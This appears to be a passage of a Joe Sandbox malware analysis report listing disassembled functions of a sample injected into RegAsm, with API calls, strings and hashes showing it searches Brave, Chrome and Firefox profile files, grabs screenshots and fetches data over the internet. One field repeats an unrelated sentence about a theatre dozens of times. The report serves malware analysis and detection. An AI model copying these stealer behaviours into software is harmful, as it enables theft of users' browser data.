Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction ID: 568009891a73934414478d5ea9ac1d95815f38c27f73e6007f327c9a8c174b1c
Opcode Fuzzy Hash: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction Fuzzy Hash: 1541AB79740624EBC71CAFE5EC89B997F71AB4C712BA0C062F90299190C7F9D5019B3E

Function 6CA135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA9F688,00001000), ref: 6CA135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA1363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA1369F
__aulldiv.LIBCMT ref: 6CA136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA13773
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA1377E
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA137C4
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA137CB
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA13801
__aulldiv.LIBCMT ref: 6CA13883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA13902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA13918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA1394C

Strings

GenuntelineI, xrefs: 6CA13639
MOZ_TIMESTAMP_MODE, xrefs: 6CA135DB
GTC, xrefs: 6CA13912
AuthcAMDenti, xrefs: 6CA13946
QPC, xrefs: 6CA138FC

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c11dcde92162dc2ab147b16178b882e33df8d520b0920f8ef10884001852b845
Instruction ID: 7e8179c5f3105c488e7e1fe394e5b3e0ec81f63c3217c468c18e49fe532edc2f
Opcode Fuzzy Hash: c11dcde92162dc2ab147b16178b882e33df8d520b0920f8ef10884001852b845
Instruction Fuzzy Hash: D7B1D271B193519FDB0CCF28C84665AB7F9BB89704F04CA2DF999D7750DB3098468B81

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474
\Brave\Preferences, xrefs: 0040C01B

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 00418AB0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00418B0C

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
\*.*, xrefs: 0040E28D

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042500C,?,00401F6C,?,004250B4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042515C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425204), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
